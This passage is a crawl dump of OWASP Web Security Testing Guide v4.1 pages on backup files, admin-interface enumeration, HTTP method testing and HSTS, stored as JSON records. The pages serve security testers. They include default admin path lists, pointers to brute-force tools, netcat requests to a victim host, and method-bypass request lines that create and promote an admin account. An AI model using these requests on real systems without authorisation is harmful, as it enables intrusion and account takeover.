Backup files are not likely to be referenced by any other files and therefore may have not been indexed by Google, but if they lie in browsable directories the search engine might know about them.\n- In addition, Google and Yahoo keep cached versions of pages found by their robots. Even if `1998results.asp` has been removed from the target server, a version of its output may still be stored by these search engines. The cached version may contain references to, or clues about, additional hidden content that still remains on the server.\n- Content that is not referenced from within a target application may be linked to by third-party websites. For example, an application which processes online payments on behalf of third-party traders may contain a variety of bespoke functionality which can (normally) only be found by following links within the web sites of its customers.\n\n#### File Name Filter Bypass\n\nBecause blacklist filters are based on regular expressions, one can sometimes take advantage of obscure OS file name expansion features in which work in ways the developer didn’t expect. The tester can sometimes exploit differences in ways that file names are parsed by the application, web server, and underlying OS and it’s file name conventions.\n\nExample: Windows 8.3 filename expansion `c:\\\\program files` becomes `C:\\\\PROGRA\\~1`\n\n- Remove incompatible characters\n- Convert spaces to underscores\n- Take the first six characters of the basename\n- Add `~` which is used to distinguish files with names using the same six initial characters\n- This convention changes after the first 3 cname ollisions\n- Truncate file extension to three characters\n- Make all the characters uppercase\n\n### Gray-Box Testing\n\nPerforming gray box testing against old and backup files requires examining the files contained in the directories belonging to the set of web directories served by the web server(s) of the web application infrastructure. Theoretically the examination should be performed by hand to be thorough. However, since in most cases copies of files or backup files tend to be created by using the same naming conventions, the search can be easily scripted. For example, editors leave behind backup copies by naming them with a recognizable extension or ending and humans tend to leave behind files with a `.old` or similar predictable extensions. A good strategy is that of periodically scheduling a background job checking for files with extensions likely to identify them as copy or backup files, and performing manual checks as well on a longer time basis.\n\n## Tools\n\nVulnerability assessment tools tend to include checks to spot web directories having standard names (such as “admin”, “test”, “backup”, etc.), and to report any web directory which allows indexing. If you can’t get any directory listing, you should try to check for likely backup extensions. Check for example\n\n- [Nessus](https://www.tenable.com/products/nessus)\n- [Nikto2](https://cirt.net/Nikto2)\n\nWeb spider tools\n\n- [wget](https://www.gnu.org/software/wget/)\n- [Wget for Windows](http://www.interlog.com/~tcharron/wgetwin.html)\n- [Sam Spade](https://web.archive.org/web/20090926061558/http://preview.samspade.org/ssw/download.html)\n- [Spike proxy includes a web site crawler function](https://www.spikeproxy.com/)\n- [Xenu](http://home.snafu.de/tilman/xenulink.html)\n- [curl](https://curl.haxx.se)\n\nSome of them are also included in standard Linux distributions. Web development tools usually include facilities to identify broken links and unreferenced files.\n\n## Remediation\n\nTo guarantee an effective protection strategy, testing should be compounded by a security policy which clearly forbids dangerous practices, such as:\n\n- Editing files in-place on the web server or application server file systems. This is a particular bad habit, since it is likely to unwillingly generate backup files by the editors. It is amazing to see how often this is done, even in large organizations. If you absolutely need to edit files on a production system, do ensure that you don’t leave behind anything which is not explicitly intended, and consider that you are doing it at your own risk.\n- Check carefully any other activity performed on file systems exposed by the web server, such as spot administration activities. For example, if you occasionally need to take a snapshot of a couple of directories (which you should not do on a production system), you may be tempted to zip them first. Be careful not to forget behind those archive files.\n- Appropriate configuration management policies should help not to leave around obsolete and unreferenced files.\n- Applications should be designed not to create (or rely on) files stored under the web directory trees served by the web server. Data files, log files, configuration files, etc. should be stored in directories not accessible by the web server, to counter the possibility of information disclosure (not to mention data modification if web directory permissions allow writing).\n- File system snapshots should not be accessible via the web if the document root is on a file system using this technology. Configure your web server to deny access to such directories, for example under apache a location directive such this should be used:\n\n```\n\n Order deny,allow\n Deny from all\n \n```\n\n---\n\n[Watch](https://github.com/OWASP/wstg/subscription) [Star](https://github.com/OWASP/wstg)", "znaku_textu": 18192, "slov": 2777, "odkazu": 183, "kodovani": "utf-8", "kodovani_deklarovane": "utf-8", "format": "html", "duplikat_z": "", "http": 200, "odkud": "live", "wb_ts": "", "stazeno": "2026-09-14 13:43:00", "sha256": "72115b6d433b4e4dfb0cc18a6412c65e7aef67476f5336922fa83716d578c3a8", "hloubka": 2, "zdroj_objevu": "odkaz", "ze_seznamu": false, "mime": "text/html", "odkazy_externi": ["https://owasp.glueup.com/organization/6727/memberships", "https://www.tenable.com/products/nessus", "https://cirt.net/Nikto2", "https://www.gnu.org/software/wget/", "http://www.interlog.com/~tcharron/wgetwin.html", "http://preview.samspade.org/ssw/download.html", "https://www.spikeproxy.com/", "http://home.snafu.de/tilman/xenulink.html", "https://curl.haxx.se/", "https://github.com/OWASP/wstg/subscription", "https://github.com/OWASP/wstg", "https://github.com/OWASP/", "https://www.facebook.com/OWASPFoundation", "https://infosec.exchange/@owasp", "https://twitter.com/owasp", "https://www.linkedin.com/company/owasp/", "https://www.youtube.com/user/OWASPGLOBAL", "https://policy.owasp.org/operational/general-disclaimer.html"]} {"url": "https://owasp.org/www-project-web-security-testing-guide/v41/4-Web_Application_Security_Testing/02-Configuration_and_Deployment_Management_Testing/05-Enumerate_Infrastructure_and_Application_Admin_Interfaces", "titulek": "WSTG - v4.1 | OWASP Foundation", "h1": "WSTG - v4.1", "popis": "WSTG - v4.1 on the main website for The OWASP Foundation. OWASP is a nonprofit foundation that works to improve the security of software.", "klicova_slova": "", "kanonicka": "https://owasp.org/www-project-web-security-testing-guide/v41/4-Web_Application_Security_Testing/02-Configuration_and_Deployment_Management_Testing/05-Enumerate_Infrastructure_and_Application_Admin_Interfaces", "jazyk": "en", "robots_meta": "", "og": {"og:description": "WSTG - v4.1 on the main website for The OWASP Foundation. OWASP is a nonprofit foundation that works to improve the security of software.", "og:title": "WSTG - v4.1 | OWASP Foundation", "og:url": "https://owasp.org/www-project-web-security-testing-guide/v41/4-Web_Application_Security_Testing/02-Configuration_and_Deployment_Management_Testing/05-Enumerate_Infrastructure_and_Application_Admin_Interfaces", "og:locale": "en_US", "og:type": "website", "og:image": "/favicon.ico"}, "jsonld": [], "drobecky": [], "osnova": [{"uroven": 1, "text": "WSTG - v4.1"}, {"uroven": 1, "text": "Enumerate Infrastructure and Application Admin Interfaces"}, {"uroven": 2, "text": "Summary"}, {"uroven": 2, "text": "How to Test"}, {"uroven": 3, "text": "Black-Box Testing"}, {"uroven": 3, "text": "Gray-Box Testing"}, {"uroven": 2, "text": "Tools"}, {"uroven": 2, "text": "References"}], "markdown": "# WSTG - v4.1\n\n# Enumerate Infrastructure and Application Admin Interfaces\n\n| ID |\n| --- |\n| WSTG-CONF-05 |\n\n## Summary\n\nAdministrator interfaces may be present in the application or on the application server to allow certain users to undertake privileged activities on the site. Tests should be undertaken to reveal if and how this privileged functionality can be accessed by an unauthorized or standard user.\n\nAn application may require an administrator interface to enable a privileged user to access functionality that may make changes to how the site functions. Such changes may include:\n\n- user account provisioning\n- site design and layout\n- data manipulation\n- configuration changes\n\nIn many instances, such interfaces do not have sufficient controls to protect them from unauthorized access. Testing is aimed at discovering these administrator interfaces and accessing functionality intended for the privileged users.\n\n## How to Test\n\n### Black-Box Testing\n\nThe following section describes vectors that may be used to test for the presence of administrative interfaces. These techniques may also be used to test for related issues including privilege escalation, and are described elsewhere in this guide(for example [Testing for bypassing authorization schema](/www-project-web-security-testing-guide/v41/4-Web_Application_Security_Testing/05-Authorization_Testing/02-Testing_for_Bypassing_Authorization_Schema) and [Testing for Insecure Direct Object References](/www-project-web-security-testing-guide/v41/4-Web_Application_Security_Testing/05-Authorization_Testing/04-Testing_for_Insecure_Direct_Object_References) in greater detail.\n\n- Directory and file enumeration. An administrative interface may be present but not visibly available to the tester. Attempting to guess the path of the administrative interface may be as simple as requesting: */admin or /administrator etc..* or in some scenarios can be revealed within seconds using [Google dorks](https://www.exploit-db.com/google-hacking-database) .\n- There are many tools available to perform brute forcing of server contents, see the tools section below for more information. A tester may have to also identify the file name of the administration page. Forcibly browsing to the identified page may provide access to the interface.\n- Comments and links in source code. Many sites use common code that is loaded for all site users. By examining all source sent to the client, links to administrator functionality may be discovered and should be investigated.\n- Reviewing server and application documentation. If the application server or application is deployed in its default configuration it may be possible to access the administration interface using information described in configuration or help documentation. Default password lists should be consulted if an administrative interface is found and credentials are required.\n- Publicly available information. Many applications such as wordpress have default administrative interfaces .\n- Alternative server port. Administration interfaces may be seen on a different port on the host than the main application. For example, Apache Tomcat’s Administration interface can often be seen on port 8080.\n- Parameter tampering. A GET or POST parameter or a cookie variable may be required to enable the administrator functionality. Clues to this include the presence of hidden fields such as:\n\n```\n \n```\n\nor in a cookie:\n\n`Cookie: session_cookie; useradmin=0`\n\nOnce an administrative interface has been discovered, a combination of the above techniques may be used to attempt to bypass authentication. If this fails, the tester may wish to attempt a brute force attack. In such an instance the tester should be aware of the potential for administrative account lockout if such functionality is present.\n\n### Gray-Box Testing\n\nA more detailed examination of the server and application components should be undertaken to ensure hardening (i.e. administrator pages are not accessible to everyone through the use of IP filtering or other controls), and where applicable, verification that all components do not use default credentials or configurations.\nSource code should be reviewed to ensure that the authorization and authentication model ensures clear separation of duties between normal users and site administrators. User interface functions shared between normal and administrator users should be reviewed to ensure clear separation between the drawing of such components and information leakage from such shared functionality.\n\nEach web framework may have its own admin default pages or path. For example\n\nWebSphere:\n\n```\n/admin\n/admin-authz.xml\n/admin.conf\n/admin.passwd\n/admin/*\n/admin/logon.jsp\n/admin/secure/logon.jsp\n```\n\nPHP:\n\n```\n/phpinfo\n/phpmyadmin/\n/phpMyAdmin/\n/mysqladmin/\n/MySQLadmin\n/MySQLAdmin\n/login.php\n/logon.php\n/xmlrpc.php\n/dbadmin\n```\n\nFrontPage:\n\n```\n/admin.dll\n/admin.exe\n/administrators.pwd\n/author.dll\n/author.exe\n/author.log\n/authors.pwd\n/cgi-bin\n```\n\nWebLogic:\n\n```\n/AdminCaptureRootCA\n/AdminClients\n/AdminConnections\n/AdminEvents\n/AdminJDBC\n/AdminLicense\n/AdminMain\n/AdminProps\n/AdminRealm\n/AdminThreads\n```\n\nWordPress:\n\n```\nwp-admin/\nwp-admin/about.php\nwp-admin/admin-ajax.php\nwp-admin/admin-db.php\nwp-admin/admin-footer.php\nwp-admin/admin-functions.php\nwp-admin/admin-header.php\n```\n\n## Tools\n\n- [OWASP ZAP - Forced Browse](https://www.zaproxy.org/docs/desktop/addons/forced-browse/) is a currently maintained use of OWASP’s previous DirBuster project.\n- [THC-HYDRA](https://github.com/vanhauser-thc/thc-hydra) is a tool that allows brute-forcing of many interfaces, including form-based HTTP authentication.\n- A brute forcer is much better when it uses a good dictionary, for example the [netsparker](https://www.netsparker.com/blog/web-security/svn-digger-better-lists-for-forced-browsing/) dictionary.\n\n## References\n\n- [Default Password list](https://portforward.com/router-password/)\n- [Default Password list](https://cirt.net/passwords)\n- [FuzzDB can be used to do brute force browsing admin login path](https://github.com/fuzzdb-project/fuzzdb/blob/f801f5c5adc9aa5e54f20d273d213c5ab58826b9/discovery/predictable-filepaths/login-file-locations/Logins.fuzz.txt)\n- [Common admin or debugging parameters](https://github.com/fuzzdb-project/fuzzdb/blob/f801f5c5adc9aa5e54f20d273d213c5ab58826b9/attack/business-logic/CommonDebugParamNames.fuzz.txt)\n\n---\n\n[Watch](https://github.com/OWASP/wstg/subscription) [Star](https://github.com/OWASP/wstg)", "znaku_textu": 6427, "slov": 801, "odkazu": 183, "kodovani": "utf-8", "kodovani_deklarovane": "utf-8", "format": "html", "duplikat_z": "", "http": 200, "odkud": "live", "wb_ts": "", "stazeno": "2026-09-14 13:43:01", "sha256": "835d1b1aef1d94a3461d9994ec2d76862ec49ca1aee620aec366b7f83550899b", "hloubka": 2, "zdroj_objevu": "odkaz", "ze_seznamu": false, "mime": "text/html", "odkazy_externi": ["https://owasp.glueup.com/organization/6727/memberships", "https://www.exploit-db.com/google-hacking-database", "https://www.zaproxy.org/docs/desktop/addons/forced-browse/", "https://github.com/vanhauser-thc/thc-hydra", "https://www.netsparker.com/blog/web-security/svn-digger-better-lists-for-forced-browsing/", "https://portforward.com/router-password/", "https://cirt.net/passwords", "https://github.com/fuzzdb-project/fuzzdb/blob/f801f5c5adc9aa5e54f20d273d213c5ab58826b9/discovery/predictable-filepaths/login-file-locations/Logins.fuzz.txt", "https://github.com/fuzzdb-project/fuzzdb/blob/f801f5c5adc9aa5e54f20d273d213c5ab58826b9/attack/business-logic/CommonDebugParamNames.fuzz.txt", "https://github.com/OWASP/wstg/subscription", "https://github.com/OWASP/wstg", "https://github.com/OWASP/", "https://www.facebook.com/OWASPFoundation", "https://infosec.exchange/@owasp", "https://twitter.com/owasp", "https://www.linkedin.com/company/owasp/", "https://www.youtube.com/user/OWASPGLOBAL", "https://policy.owasp.org/operational/general-disclaimer.html"]} {"url": "https://owasp.org/www-project-web-security-testing-guide/v41/4-Web_Application_Security_Testing/02-Configuration_and_Deployment_Management_Testing/06-Test_HTTP_Methods", "titulek": "WSTG - v4.1 | OWASP Foundation", "h1": "WSTG - v4.1", "popis": "WSTG - v4.1 on the main website for The OWASP Foundation. OWASP is a nonprofit foundation that works to improve the security of software.", "klicova_slova": "", "kanonicka": "https://owasp.org/www-project-web-security-testing-guide/v41/4-Web_Application_Security_Testing/02-Configuration_and_Deployment_Management_Testing/06-Test_HTTP_Methods", "jazyk": "en", "robots_meta": "", "og": {"og:description": "WSTG - v4.1 on the main website for The OWASP Foundation. OWASP is a nonprofit foundation that works to improve the security of software.", "og:title": "WSTG - v4.1 | OWASP Foundation", "og:url": "https://owasp.org/www-project-web-security-testing-guide/v41/4-Web_Application_Security_Testing/02-Configuration_and_Deployment_Management_Testing/06-Test_HTTP_Methods", "og:locale": "en_US", "og:type": "website", "og:image": "/favicon.ico"}, "jsonld": [], "drobecky": [], "osnova": [{"uroven": 1, "text": "WSTG - v4.1"}, {"uroven": 1, "text": "Test HTTP Methods"}, {"uroven": 2, "text": "Summary"}, {"uroven": 3, "text": "Arbitrary HTTP Methods"}, {"uroven": 2, "text": "How to Test"}, {"uroven": 3, "text": "Discover the Supported Methods"}, {"uroven": 3, "text": "Test XST Potential"}, {"uroven": 3, "text": "Testing for Arbitrary HTTP Methods"}, {"uroven": 3, "text": "Testing for HEAD Access Control Bypass"}, {"uroven": 2, "text": "Tools"}, {"uroven": 2, "text": "References"}, {"uroven": 3, "text": "Whitepapers"}], "markdown": "# WSTG - v4.1\n\n# Test HTTP Methods\n\n| ID |\n| --- |\n| WSTG-CONF-06 |\n\n## Summary\n\nHTTP offers a number of methods that can be used to perform actions on the web server. Many of theses methods are designed to aid developers in deploying and testing HTTP applications. These HTTP methods can be used for nefarious purposes if the web server is misconfigured. Additionally, Cross Site Tracing (XST), a form of cross site scripting using the server’s HTTP TRACE method, is examined.\nWhile GET and POST are by far the most common methods that are used to access information provided by a web server, the Hypertext Transfer Protocol (HTTP) allows several other (and somewhat less known) methods. RFC 2616 (which describes HTTP version 1.1 which is the standard today) defines the following eight methods:\n\n- HEAD\n- GET\n- POST\n- PUT\n- DELETE\n- TRACE\n- OPTIONS\n- CONNECT\n\nSome of these methods can potentially pose a security risk for a web application, as they allow an attacker to modify the files stored on the web server and, in some scenarios, steal the credentials of legitimate users. More specifically, the methods that should be disabled are the following:\n\n- PUT: This method allows a client to upload new files on the web server. An attacker can exploit it by uploading malicious files (e.g.: an asp file that executes commands by invoking cmd.exe), or by simply using the victim’s server as a file repository.\n- DELETE: This method allows a client to delete a file on the web server. An attacker can exploit it as a very simple and direct way to deface a web site or to mount a DoS attack.\n- CONNECT: This method could allow a client to use the web server as a proxy.\n- TRACE: This method simply echoes back to the client whatever string has been sent to the server, and is used mainly for debugging purposes. This method, originally assumed harmless, can be used to mount an attack known as Cross Site Tracing, which has been discovered by Jeremiah Grossman (see links at the bottom of the page).\n\nIf an application needs one or more of these methods, such as REST Web Services (which may require PUT or DELETE), it is important to check that their usage is properly limited to trusted users and safe conditions.\n\n### Arbitrary HTTP Methods\n\nArshan Dabirsiaghi (see links) discovered that many web application frameworks allowed well chosen or arbitrary HTTP methods to bypass an environment level access control check:\n\n- Many frameworks and languages treat “HEAD” as a “GET” request, albeit one without any body in the response. If a security constraint was set on “GET” requests such that only “authenticatedUsers” could access GET requests for a particular servlet or resource, it would be bypassed for the “HEAD” version. This allowed unauthorized blind submission of any privileged GET request.\n- Some frameworks allowed arbitrary HTTP methods such as “JEFF” or “CATS” to be used without limitation. These were treated as if a “GET” method was issued, and were found not to be subject to method role based access control checks on a number of languages and frameworks, again allowing unauthorized blind submission of privileged GET requests.\n\nIn many cases, code which explicitly checked for a “GET” or “POST” method would be safe.\n\n## How to Test\n\n### Discover the Supported Methods\n\nTo perform this test, the tester needs some way to figure out which HTTP methods are supported by the web server that is being examined. The OPTIONS HTTP method provides the tester with the most direct and effective way to do that. RFC 2616 states that, “The OPTIONS method represents a request for information about the communication options available on the request/response chain identified by the Request-URI”.\n\nThe testing method is extremely straightforward and we only need to fire up netcat (or telnet):\n\n```\n$ nc www.victim.com 80\nOPTIONS / HTTP/1.1\nHost: www.victim.com\n\nHTTP/1.1 200 OK\nServer: Microsoft-IIS/5.0\nDate: Tue, 31 Oct 2006 08:00:29 GMT\nConnection: close\nAllow: GET, HEAD, POST, TRACE, OPTIONS\nContent-Length: 0\n```\n\nAs we can see in the example, OPTIONS provides a list of the methods that are supported by the web server, and in this case we can see that TRACE method is enabled. The danger that is posed by this method is illustrated in the following section\n\nThe same test can also be executed using nmap and the http-methods NSE script:\n\n```\nC:\\Tools\\nmap-6.40>nmap -p 443 --script http-methods localhost Starting Nmap 6.40 ( http://nmap.org ) at 2015-11-04 11:52 Romance Standard Time Nmap scan report for localhost (127.0.0.1) Host is up (0.0094s latency). PORT STATE SERVICE 443/tcp open https | http-methods: OPTIONS TRACE GET HEAD POST | Potentially risky methods: TRACE |_See http://nmap.org/nsedoc/scripts/http-methods.html Nmap done: 1 IP address (1 host up) scanned in 20.48 seconds \n```\n\n### Test XST Potential\n\nNote: in order to understand the logic and the goals of this attack one must be familiar with [Cross Site Scripting attacks](https://owasp.org/www-community/attacks/xss/).\n\nThe TRACE method, while apparently harmless, can be successfully leveraged in some scenarios to steal legitimate users’ credentials. This attack technique was discovered by Jeremiah Grossman in 2003, in an attempt to bypass the [HTTPOnly](https://owasp.org/www-community/HttpOnly) tag that Microsoft introduced in Internet Explorer 6 SP1 to protect cookies from being accessed by JavaScript. As a matter of fact, one of the most recurring attack patterns in Cross Site Scripting is to access the document.cookie object and send it to a web server controlled by the attacker so that he or she can hijack the victim’s session. Tagging a cookie as httpOnly forbids JavaScript from accessing it, protecting it from being sent to a third party. However, the TRACE method can be used to bypass this protection and access the cookie even in this scenario.\n\nAs mentioned before, TRACE simply returns any string that is sent to the web server. In order to verify its presence (or to double-check the results of the OPTIONS request shown above), the tester can proceed as shown in the following example:\n\n```\n$ nc www.victim.com 80\nTRACE / HTTP/1.1\nHost: www.victim.com\n\nHTTP/1.1 200 OK\nServer: Microsoft-IIS/5.0\nDate: Tue, 31 Oct 2006 08:01:48 GMT\nConnection: close\nContent-Type: message/http\nContent-Length: 39\n\nTRACE / HTTP/1.1\nHost: www.victim.com\n```\n\nThe response body is exactly a copy of our original request, meaning that the target allows this method. Now, where is the danger lurking? If the tester instructs a browser to issue a TRACE request to the web server, and this browser has a cookie for that domain, the cookie will be automatically included in the request headers, and will therefore be echoed back in the resulting response. At that point, the cookie string will be accessible by JavaScript and it will be finally possible to send it to a third party even when the cookie is tagged as httpOnly.\n\nThere are multiple ways to make a browser issue a TRACE request, such as the XMLHTTP ActiveX control in Internet Explorer and XMLDOM in Mozilla and Netscape. However, for security reasons the browser is allowed to start a connection only to the domain where the hostile script resides. This is a mitigating factor, as the attacker needs to combine the TRACE method with another vulnerability in order to mount the attack.\n\nAn attacker has two ways to successfully launch a Cross Site Tracing attack:\n\n- Leveraging another server-side vulnerability: the attacker injects the hostile JavaScript snippet that contains the TRACE request in the vulnerable application, as in a normal Cross Site Scripting attack\n- Leveraging a client-side vulnerability: the attacker creates a malicious website that contains the hostile JavaScript snippet and exploits some cross-domain vulnerability of the browser of the victim, in order to make the JavaScript code successfully perform a connection to the site that supports the TRACE method and that originated the cookie that the attacker is trying to steal.\n\nMore detailed information, together with code samples, can be found in the original whitepaper written by Jeremiah Grossman.\n\n### Testing for Arbitrary HTTP Methods\n\nFind a page to visit that has a security constraint such that it would normally force a 302 redirect to a log in page or forces a log in directly. The test URL in this example works like this, as do many web applications. However, if a tester obtains a “200” response that is not a log in page, it is possible to bypass authentication and thus authorization.\n\n```\n$ nc www.example.com 80\nJEFF / HTTP/1.1\nHost: www.example.com\n\nHTTP/1.1 200 OK\nDate: Mon, 18 Aug 2008 22:38:40 GMT\nServer: Apache\nSet-Cookie: PHPSESSID=K53QW...\n```\n\nIf the framework or firewall or application does not support the “JEFF” method, it should issue an error page (or preferably a 405 Not Allowed or 501 Not implemented error page). If it services the request, it is vulnerable to this issue.\n\nIf the tester feels that the system is vulnerable to this issue, they should issue CSRF-like attacks to exploit the issue more fully:\n\n- FOOBAR /admin/createUser.php?member=myAdmin\n- JEFF /admin/changePw.php?member=myAdmin&passwd=foo123&confirm=foo123\n- CATS /admin/groupEdit.php?group=Admins&member=myAdmin&action=add\n\nWith some luck, using the above three commands - modified to suit the application under test and testing requirements - a new user would be created, a password assigned, and made an administrator.\n\n### Testing for HEAD Access Control Bypass\n\nFind a page to visit that has a security constraint such that it would normally force a 302 redirect to a log in page or forces a log in directly. The test URL in this example works like this, as do many web applications. However, if the tester obtains a “200” response that is not a login page, it is possible to bypass authentication and thus authorization.\n\n```\n$ nc www.example.com 80\nHEAD /admin HTTP/1.1\nHost: www.example.com\n\nHTTP/1.1 200 OK\nDate: Mon, 18 Aug 2008 22:44:11 GMT\nServer: Apache\nSet-Cookie: PHPSESSID=pKi...; path=/; HttpOnly\nExpires: Thu, 19 Nov 1981 08:52:00 GMT\nCache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0\nPragma: no-cache\nSet-Cookie: adminOnlyCookie1=...; expires=Tue, 18-Aug-2009 22:44:31 GMT; domain=www.example.com\nSet-Cookie: adminOnlyCookie2=...; expires=Mon, 18-Aug-2008 22:54:31 GMT; domain=www.example.com\nSet-Cookie: adminOnlyCookie3=...; expires=Sun, 19-Aug-2007 22:44:30 GMT; domain=www.example.com\nContent-Language: EN\nConnection: close\nContent-Type: text/html; charset=ISO-8859-1\n```\n\nIf the tester gets a “405 Method not allowed” or “501 Method Unimplemented”, the target (application/framework/language/system/firewall) is working correctly. If a “200” response code comes back, and the response contains no body, it’s likely that the application has processed the request without authentication or authorization and further testing is warranted.\n\nIf the tester thinks that the system is vulnerable to this issue, they should issue CSRF-like attacks to exploit the issue more fully:\n\n- HEAD /admin/createUser.php?member=myAdmin\n- HEAD /admin/changePw.php?member=myAdmin&passwd=foo123&confirm=foo123\n- HEAD /admin/groupEdit.php?group=Admins&member=myAdmin&action=add\n\nWith some luck, using the above three commands - modified to suit the application under test and testing requirements - a new user would be created, a password assigned, and made an administrator, all using blind request submission.\n\n## Tools\n\n- [NetCat](http://nc110.sourceforge.net)\n- [cURL](https://curl.haxx.se/)\n- [nmap http-methods NSE script](https://nmap.org/nsedoc/scripts/http-methods.html)\n\n## References\n\n### Whitepapers\n\n- [RFC 2616: “Hypertext Transfer Protocol – HTTP/1.1”](https://tools.ietf.org/html/rfc2616)\n- [RFC 2109](https://tools.ietf.org/html/rfc2109) and [RFC 2965](https://tools.ietf.org/html/rfc2965) : “HTTP State Management Mechanism”\n- [Jeremiah Grossman: “Cross Site Tracing (XST)](https://www.cgisecurity.com/whitehat-mirror/WH-WhitePaper_XST_ebook.pdf)\n- [Amit Klein: “XS(T) attack variants which can, in some cases, eliminate the need for TRACE”](https://www.securityfocus.com/archive/107/308433)\n\n---\n\n[Watch](https://github.com/OWASP/wstg/subscription) [Star](https://github.com/OWASP/wstg)", "znaku_textu": 12215, "slov": 1846, "odkazu": 185, "kodovani": "windows-1250", "kodovani_deklarovane": "utf-8", "format": "html", "duplikat_z": "", "http": 200, "odkud": "live", "wb_ts": "", "stazeno": "2026-09-14 13:43:02", "sha256": "4f0e174c8a0c828fda000ae33827c4a49b3fce5dd44d14b531a361747c66f7c5", "hloubka": 2, "zdroj_objevu": "odkaz", "ze_seznamu": false, "mime": "text/html", "odkazy_externi": ["https://owasp.glueup.com/organization/6727/memberships", "http://nc110.sourceforge.net/", "https://curl.haxx.se/", "https://nmap.org/nsedoc/scripts/http-methods.html", "https://tools.ietf.org/html/rfc2616", "https://tools.ietf.org/html/rfc2109", "https://tools.ietf.org/html/rfc2965", "https://www.cgisecurity.com/whitehat-mirror/WH-WhitePaper_XST_ebook.pdf", "https://www.securityfocus.com/archive/107/308433", "https://github.com/OWASP/wstg/subscription", "https://github.com/OWASP/wstg", "https://github.com/OWASP/", "https://www.facebook.com/OWASPFoundation", "https://infosec.exchange/@owasp", "https://twitter.com/owasp", "https://www.linkedin.com/company/owasp/", "https://www.youtube.com/user/OWASPGLOBAL", "https://policy.owasp.org/operational/general-disclaimer.html"]} {"url": "https://owasp.org/www-project-web-security-testing-guide/v41/4-Web_Application_Security_Testing/02-Configuration_and_Deployment_Management_Testing/07-Test_HTTP_Strict_Transport_Security", "titulek": "WSTG - v4.1 | OWASP Foundation", "h1": "WSTG - v4.1", "popis": "WSTG - v4.1 on the main website for The OWASP Foundation. OWASP is a nonprofit foundation that works to improve the security of software.", "klicova_slova": "", "kanonicka": "https://owasp.org/www-project-web-security-testing-guide/v41/4-Web_Application_Security_Testing/02-Configuration_and_Deployment_Management_Testing/07-Test_HTTP_Strict_Transport_Security", "jazyk": "en", "robots_meta": "", "og": {"og:description": "WSTG - v4.1 on the main website for The OWASP Foundation. OWASP is a nonprofit foundation that works to improve the security of software.", "og:title": "WSTG - v4.1 | OWASP Foundation", "og:url": "https://owasp.org/www-project-web-security-testing-guide/v41/4-Web_Application_Security_Testing/02-Configuration_and_Deployment_Management_Testing/07-Test_HTTP_Strict_Transport_Security", "og:locale": "en_US", "og:type": "website", "og:image": "/favicon.ico"}, "jsonld": [], "drobecky": [], "osnova": [{"uroven": 1, "text": "WSTG - v4.1"}, {"uroven": 1, "text": "Test HTTP Strict Transport Security"}, {"uroven": 2, "text": "Summary"}, {"uroven": 2, "text": "How to Test"}, {"uroven": 2, "text": "References"}], "markdown": "# WSTG - v4.1\n\n# Test HTTP Strict Transport Security\n\n| ID |\n| --- |\n| WSTG-CONF-07 |\n\n## Summary\n\nThe HTTP Strict Transport Security (HSTS) header is a mechanism that web sites have to communicate to the web browsers that all traffic exchanged with a given domain must always be sent over https, this will help protect the information from being passed over unencrypted requests.\n\nConsidering the importance of this security measure it is important to verify that the web site is using this HTTP header, in order to ensure that all the data travels encrypted from the web browser to the server.\n\nThe HTTP Strict Transport Security (HSTS) feature lets a web application to inform the browser, through the use of a special response header, that it should never establish a connection to the the specified domain servers using HTTP. Instead it should automatically establish all connection requests to access the site through HTTPS.\n\nThe HTTP strict transport security header uses two directives:\n\n- max-age: to indicate the number of seconds that the browser should automatically convert all HTTP requests to HTTPS.\n- includeSubDomains: to indicate that all web application’s sub-domains must use HTTPS.\n\nHere’s an example of the HSTS header implementation:\n\n`Strict-Transport-Security: max-age=60000; includeSubDomains`\n\nThe use of this header by web applications must be checked to find if the following security issues could be produced:\n\n- Attackers sniffing the network traffic and accessing the information transferred through an unencrypted channel.\n- Attackers exploiting a man in the middle attack because of the problem of accepting certificates that are not trusted.\n- Users who mistakenly entered an address in the browser putting HTTP instead of HTTPS, or users who click on a link in a web application which mistakenly indicated the HTTP protocol.\n\n## How to Test\n\nTesting for the presence of HSTS header can be done by checking for the existence of the HSTS header in the server’s response in an interception proxy, or by using curl as follows:\n\n```\n$ curl -s -D- https://owasp.org | grep Strict\nStrict-Transport-Security: max-age=15768000\n```\n\n## References\n\n- [OWASP HTTP Strict Transport Security](https://cheatsheetseries.owasp.org/cheatsheets/HTTP_Strict_Transport_Security_Cheat_Sheet.html)\n- [OWASP Appsec Tutorial Series - Episode 4: Strict Transport Security](https://www.youtube.com/watch?v=zEV3HOuM_Vw)\n- [HSTS Specification](https://tools.ietf.org/html/rfc6797)\n\n---\n\n[Watch](https://github.com/OWASP/wstg/subscription) [Star](https://github.com/OWASP/wstg)", "znaku_textu": 2522, "slov": 354, "odkazu": 178, "kodovani": "utf-8", "kodovani_deklarovane": "utf-8", "format": "html", "duplikat_z": "", "http": 200, "odkud": "live", "wb_ts": "", "stazeno": "2026-09-14 13:43:03", "sha256": "e9a4451cb1afc31ebacdc27685ad15c54c3f6688620b23fe946d9ddb0126a7f7", "hloubka": 2, "zdroj_objevu": "odkaz", "ze_seznamu": false, "mime": "text/html", "odkazy_externi": ["https://owasp.glueup.com/organization/6727/memberships", "https://cheatsheetseries.owasp.org/cheatsheets/HTTP_Strict_Transport_Security_Cheat_Sheet.html", "https://www.youtube.com/watch?v=zEV3HOuM_Vw", "https://tools.ietf.org/html/rfc6797", "https://github.com/OWASP/wstg/subscription", "https://github.com/OWASP/wstg", "https://github.com/OWASP/", "https://www.facebook.com/OWASPFoundation", "https://infosec.exchange/@owasp", "https://twitter.com/owasp", "https://www.linkedin.com/company/owasp/", "https://www.youtube.com/user/OWASPGLOBAL", "https://policy.owasp.org/operational/general-disclaimer.html"]} {"url": "https://owasp.org/www-project-web-security-testing-guide/v41/4-Web_Application_Security_Testing/02-Configuration_and_Deployment_Management_Testing/08-Test_RIA_Cross_Domain_Policy", "titulek": "WSTG - v4.1 | OWASP Foundation", "h1": "WSTG - v4.1", "popis": "WSTG - v4.1 on the main website for The OWASP Foundation. OWASP is a nonprofit foundation that works to improve the security of software.", "klicova_slova": "", "kanonicka": "https://owasp.org/www-project-web-security-testing-guide/v41/4-Web_Application_Security_Testing/02-Configuration_and_Deployment_Management_Testing/08-Test_RIA_Cross_Domain_Policy", "jazyk": "en", "robots_meta": "", "og": {"og:description": "WSTG - v4.1 on the main website for The OWASP Foundation. OWASP is a nonprofit foundation that works to improve the security of software.", "og:title": "WSTG - v4.1 | OWASP Foundation", "og:url": 